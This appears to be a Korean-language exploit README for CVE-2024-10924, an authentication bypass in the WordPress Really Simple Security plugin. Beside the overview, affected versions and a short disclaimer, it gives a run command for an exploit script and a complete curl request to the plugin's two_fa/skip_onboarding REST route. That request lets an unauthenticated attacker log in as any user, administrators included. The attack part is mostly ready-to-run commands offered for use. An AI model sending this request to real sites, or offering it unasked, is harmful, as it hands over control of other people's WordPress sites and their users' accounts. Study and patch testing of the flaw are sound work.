CVE-2024-10924 익스플로잇 (WordPress Really Simple Security 플러그인 - 인증 우회)

📌 개요

CVE-2024-10924는 WordPress용 Really Simple Security 플러그인(버전 9.0.0 ~ 9.1.1.1)의 치명적인 인증 우회 취약점입니다. 이 취약점을 통해 인증되지 않은 공격자는 Two-Factor Authentication(2FA) API의 결함을 악용하여 모든 사용자(관리자 포함)로 로그인할 수 있습니다.

CVE ID: CVE-2024-10924

심각도: 🔥 치명적 (CVSS 9.8)

영향받는 버전: Really Simple Security 9.0.0 – 9.1.1.1

패치 버전: 9.1.2

익스플로잇 유형: 인증 우회

⚠️ 면책 조항

🚨 이 익스플로잇은 교육 및 보안 연구 목적으로만 제공됩니다.

소유하지 않은 시스템에 대한 무단 사용은 불법입니다. 목표는 보안 전문가가 취약한 시스템을 테스트하고 패치하는 것을 돕는 것입니다.

🔧 요구 사항

취약한 버전의 Really Simple Security 플러그인이 실행 중인 WordPress 사이트. 테스트를 위해 Python 3.x 또는 cURL 설치. 대상 WordPress 관리자 사용자 이름 (사용자 열거가 필요할 수 있음).

스크립트 실행:

python3 exploit.py <url example : http://target.com> <user_id>

수동으로 curl 사용

curl --request POST "http://{url}/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" -H "Content-Type: application/json" -d '{"user_id": 1, "login_nonce": "invalid_nonce"}' -v